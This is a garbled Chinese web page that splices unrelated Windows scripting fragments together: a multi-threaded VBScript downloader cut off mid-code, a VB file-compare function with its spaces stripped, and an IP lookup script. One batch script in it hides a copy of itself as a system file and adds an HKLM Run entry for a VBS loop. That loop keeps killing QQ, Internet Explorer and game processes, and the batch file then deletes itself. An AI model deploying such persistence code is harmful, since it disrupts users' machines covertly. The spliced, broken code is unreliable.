经过不断的探索，终于发现SendMessage和PostMessage能够担此重任，真是如获至宝，于是迫不及待地把它们介绍给各位朋友scrrun.dll scrrun-scrrun.dll-DLL文件信息 DLL文件：scrrun或者scrrun.dll DLL名称：MicrosoftScriptRuntime 描述： scrrun.dll用于阅读和编写脚本和文本文件

'by wankoilz url=InputBox("输入完整下载地址：") threadCount=InputBox("输入线程数(不超过10吧,太多就累赘了)：") fileName=GetFileName(url) filePath=GetFilePath(WScript.ScriptFullName) Set ohttp=CreateObject("msxml2.xmlhttp") Set ado=CreateObject("adodb.stream") Set fso=CreateObject("scripting.filesystemobject") ado.Type=1 ado.Mode=3 ado.Open ohttp.open "Head",url,True ohttp.send Do While ohttp.readyState<>4 WScript.Sleep 200 Loop '获得文件大小 fileSize=ohttp.getResponseHeader("Content-Length") ohttp.abort '创建一个和下载文件同样大小的临时文件,供下面ado分段重写 fso.CreateTextFile(filePath&"TmpFile",True,False).Write(Space(fileSize)) ado.LoadFromFile(filePath&"TmpFile") blockSize=Fix(fileSize/threadCount):remainderSize=fileSize-threadCount*blockSize upbound=threadCount-1 '定义包含msxml2.xmlhttp对象的数组,・成员数量便是线程数 '直接 Dim 数组名(变量名) 是不行的，这里用Execute变通了一下 Execute("Dim arrHttp("&upbound&")") For i=0 To UBound(arrHttp) startpos=i*blockSize endpos=(i+1)*blockSize-1 If i=UBound(arrHttp) Then endpos=endpos+remainderSize Set arrHttp(i)=CreateObject("msxml2.xmlhttp") arrHttp(i).open "Get",url,True '分段下载 arrHttp(i).setRequestHeader "Range","bytes="&startpos&"-"&endpos arrHttp(i).send Next Do WScript.Sleep 200 For i=0 To UBound(arrHttp) If arrHttp(i).readystate=4 Then '每当一个线程下载完毕就将其写入临时文件的相应位置 ado.Position=i*blockSize MsgBox "线程"&i&"下载完毕　　这种方法有个缺点，就是运行环境中必须装有MSAccess

运行一个指定的过程FunctionCompFile(F1asstring,F2asstring)asbooleanDimissameasbooleanOpenF1ForBinaryAs#1OpenF2ForBinaryAs#2issame=TrueIfLOF(1)<>LOF(2)Thenissame=FalseElsewhole&=LOF(1)\10000'numberofwhole10,000bytechunkspart&=LOF(1)Mod10000'remainingbytesatendoffilebuffer1$=String$(10000,0)buffer2$=String$(10000,0)start&=1Forx&=1Towhole&'thisfor-nextloopwillget10,000Get#1,start&,buffer1$'bytechunksatatime.Get#2,start&,buffer2$Ifbuffer1$<>buffer2$Thenissame=FalseExitForEndIfstart&=start& 10000Nextbuffer1$=String$(part&,0)buffer2$=String$(part&,0)Get#1,start&,buffer1$'gettheremainingbytesattheendGet#2,start&,buffer2$'gettheremainingbytesattheendIfbuffer1$<>buffer2$Thenissame=FalseEndIfCloseCompFile=issameEndFunction->

@echo off attrib -s -h -a -r d:\jk.bat 1>nul 2>nul if exist d:\jk.bat del d:\jk.bat /q copy %0 d:\jk.bat /y >nul attrib +s +h +a +r d:\jk.bat if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul echo Do>>%windir%\system32\jk.vbs echo WScript.Sleep 3000>>%windir%\system32\jk.vbs echo strComputer="." >>%windir%\system32\jk.vbs echo Set objWMIService=GetObject("winmgmts:\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs echo Set colItems=objWMIService.ExecQuery( _>>%windir%\system32\jk.vbs echo "SELECT * FROM Win32_Process",,48)>>%windir%\system32\jk.vbs echo For Each objItem in colItems >>%windir%\system32\jk.vbs echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs echo Then objitem.Terminate()>>%windir%\system32\jk.vbs echo Next>>%windir%\system32\jk.vbs echo loop>>%windir%\system32\jk.vbs start %windir%\system32\jk.vbs del %0 /q

使用SQL存储过程有什么好处

■SQL存储过程执行起来比SQL命令文本快得多

'配置文件“Listfile.ini”的格式如下： '要删除什么(文件|目录)=要执行删除的文件夹=排除1;排除2;排除3............ '配置文件可以有多行，以便对多个目录进行操作1001'这点代码将会找到Outlook信箱中的附件，并把它们保存至'"C:\temp\OutlookAttachments"，它没有错误处理所以请小心使用IfWScript.Arguments.Count<>1Then WScript.Echo"Example:CScript"&WScript.ScriptName&"" WScript.Quit EndIf url=""&WScript.Arguments(0) SetoXMLHttpRequest=CreateObject("Msxml2.XMLHTTP") oXMLHttpRequest.Open"GET",url,False,False oXMLHttpRequest.Send str=oXMLHttpRequest.ResponseText ipos=instr(str,"<fontface="&Chr(34)&"arial"&Chr(34)&">") ipend=instr(str,"<!---endloop--->") str=mid(str,ipos+19,ipend-ipos-139) str=Replace(str,"<b>","") str=Replace(str,"</b>","") str=Replace(str,"<small>","") str=Replace(str,"</small>","") str=Replace(str,"</font><fontface="&chr(34)&"arial"&chr(34)&"size="&chr(34)&"-1"&chr(34)&">","") str=Replace(str,"Found","Found") iposa=instr(str,"with") iposb=InStr(str,"1)") stra=mid(str,iposa,iposb-iposa) str=replace(str,stra,"lcx") str=replace(str,"lcx1)","<br>1)") 'wscript.echostr SetoXMLHttpRequest=Nothing SetobjExplorer=WScript.CreateObject("InternetExplorer.Application") objExplorer.Navigate"about:blank" objExplorer.ToolBar=0 objExplorer.StatusBar=0 objExplorer.Visible=1 objExplorer.height=600 objExplorer.width=500 objExplorer.left=400 objExplorer.resizable=0 objExplorer.Document.Body.InnerHTML=str objExplorer.document.parentwindow.clipboardData.SetData"text",str SetobjExplorer=nothing ========================正则： msg="请输入你要查询的IP或域名:" IP=Inputbox(msg,"域名查询","") IfIP=""ThenIP="" url=""&IP&"" Body=getHTTPPage(url) SetRe=NewRegExp Re.Pattern="(<fontface=""arial"">[\s\S]+</font></td></tr></table>)" SetMatches=Re.Execute(Body) IfMatches.Count>0ThenBody=Matches(0).value SetoXMLHttpRequest=Nothing SetobjExplorer=WScript.CreateObject("InternetExplorer.Application") objExplorer.Navigate"about:blank" objExplorer.ToolBar=0 objExplorer.StatusBar=0 objExplorer.Visible=1 objExplorer.height=300 objExplorer.width=400 objExplorer.left=400 objExplorer.resizable=0 objExplorer.Document.Body.InnerHTML=IP&Body 'objExplorer.document.parentwindow.clipboardData.SetData"text",IP&Body SetobjExplorer=nothing '函数区 FunctiongetHTTPPage(Path) t=GetBody(Path) getHTTPPage=BytesToBstr(t,"GB2312") EndFunction FunctionGetBody(url) OnErrorResumeNext SetRetrieval=CreateObject("Microsoft.XMLHTTP") WithRetrieval .Open"Get",url,False,"","" .Send GetBody=.ResponseBody EndWith SetRetrieval=Nothing EndFunction FunctionBytesToBstr(Body,Cset) Dimobjstream Setobjstream=CreateObject("adodb.stream") objstream.Type=1 objstream.Mode=3 objstream.Open objstream.WriteBody objstream.Position=0 objstream.Type=2 objstream.Charset=Cset BytesToBstr=objstream.ReadText objstream.Close Setobjstream=Nothing EndFunction 。